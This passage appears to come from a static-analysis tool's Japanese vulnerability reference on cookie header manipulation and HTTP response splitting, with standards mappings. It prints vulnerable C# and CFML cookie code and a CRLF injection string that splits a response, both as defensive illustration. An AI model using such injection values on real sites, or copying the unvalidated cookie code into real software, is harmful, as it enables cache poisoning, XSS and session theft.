[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.apex.header_manipulation_cookies
Abstract
未検証のデータをクッキーに含めると、HTTP Response Header Manipulation 攻撃につながり、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookieの不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Cookie Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2. Web ユーザーに送信される HTTP クッキーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Cookie Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP Cookie に含めます。

Cookie の不正操作: クロスサイト リクエスト フォージェリのような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

HTTP レスポンスヘッダーでの、Cookie Manipulation 攻撃は、以下のような種類の攻撃にもつながります。

HTTP Response Splitting:
Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。たとえば、Apache Tomcat の最近のバージョンでは、禁止されている文字を含むヘッダーを設定しようとすると、IllegalArgumentException が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例: 次のコード セグメントは、Web ログのエントリの作成者名 author を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。


protected System.Web.UI.WebControls.TextBox Author;
...
string author = Author.Text;
Cookie cookie = new Cookie("author", author);
...


「Jane Smith」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、この cookie を含むHTTP レスポンスは次のような形式になります。


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


ただし、cookie の値は未検証のユーザー入力から形成されているので、レスポンスがこの形態を維持するのは、AUTHOR_PARAM として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー内容やボディ内容で構成することができます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対する回答と誤って解釈される可能性があります。この攻撃は、攻撃者とユーザーがサーバー (共通のプロキシサーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意しています。

キャッシュ ポイズニング: 悪意により構成されたレスポンスが、複数のユーザーが使用する Web キャッシュ、または 1 人のユーザーのブラウザ キャッシュに保存されると、被害が拡大することがあります。レスポンスが、一般にプロキシサーバーに見られるような共有 Web キャッシュに保存されると、キャッシュエントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが、悪意あるコンテンツを継続して受け取ります。同様に、個別のユーザーのブラウザキャッシュにレスポンスが保存される場合も、キャッシュエントリが消去されるまでそのユーザーは悪意あるコンテンツを継続して受け取り、ローカルのブラウザインスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、最初のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをすると、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。続いて攻撃者は第 2 のリクエストを送信します。プロキシサーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーやボディに含まれる機密情報が漏洩します。

オープン リダイレクト: リダイレクトで使用される URL を未検証の入力で制御することができる場合、フィッシング攻撃に悪用される可能性があります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.dotnet.header_manipulation_cookies
Abstract
未検証のデータをクッキーに含めると、HTTP Response Header Manipulation 攻撃につながり、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookieの不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Cookie Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2. Web ユーザーに送信される HTTP クッキーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Cookie Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP クッキーに含めます。

Cookie の不正操作: クロスサイト リクエスト フォージェリのような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

HTTP レスポンスヘッダーでの、Cookie Manipulation 攻撃は、以下のような種類の攻撃にもつながります。

HTTP Response Splitting:
Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。たとえば、Apache Tomcat の最近のバージョンでは、禁止されている文字を含むヘッダーを設定しようとすると、IllegalArgumentException が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例: 次のコードセグメントは、ブログのエントリの作成者名 author を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。


<cfcookie name = "author"
value = "#Form.author#"
expires = "NOW">


「Jane Smith」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、この cookie を含むHTTP レスポンスは次のような形式になります。


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


ただし、cookie の値は未検証のユーザー入力から形成されているので、レスポンスがこの形態を維持するのは、AUTHOR_PARAM として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー内容やボディ内容で構成することができます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対する回答と誤って解釈される可能性があります。この攻撃は、攻撃者とユーザーがサーバー (共通のプロキシサーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意しています。

キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、または 1 人のユーザーのブラウザキャッシュに保存されると、被害が拡大することがあります。レスポンスが、一般にプロキシサーバーに見られるような共有 Web キャッシュに保存されると、キャッシュエントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが、悪意あるコンテンツを継続して受け取ります。同様に、個別のユーザーのブラウザキャッシュにレスポンスが保存される場合も、キャッシュエントリが消去されるまでそのユーザーは悪意あるコンテンツを継続して受け取り、ローカルのブラウザインスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、最初のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをすると、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。続いて攻撃者は第 2 のリクエストを送信します。プロキシサーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーやボディに含まれる機密情報が漏洩します。

オープンリダイレクト: 入力が検証されないため、リダイレクトで使用される URL が制御され、フィッシング攻撃に悪用される可能性があります。
References
[1] Amit Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] Diabolic Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.cfml.header_manipulation_cookies
Abstract
未検証のデータを cookie に含めると HTTP Response Header Manipulation 攻撃につながり、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookie 不正操作、Open Redirectが発生する可能性があります。
Explanation
cookie 不正操作脆弱性が発生するのは次の場合です。

1.信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2.Web ユーザーに送信される HTTP Cookie にデータが検証せずに含まれている場合。

多くのソフトウェア セキュリティの脆弱性と同様、cookie 不正操作は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP Cookie に含めます。

Cookie Manipulation: Cross-Site Request Forgery のような攻撃が同時に行われると、正規ユーザーの cookie が攻撃者によって変更、追加、上書きまでもされることがあります。

HTTP レスポンス ヘッダーでの cookie 不正操作攻撃は、次のようなタイプの攻撃にもつながります。

HTTP Response Splitting:
Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへ CR (キャリッジ リターン、%0d または \r とも表記します) 文字や LF (ライン フィード、%0a または \n とも表記します) 文字を含める入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分と本文を制御できるだけでなく、追加のレスポンスを思うままに作成できてしまいます。

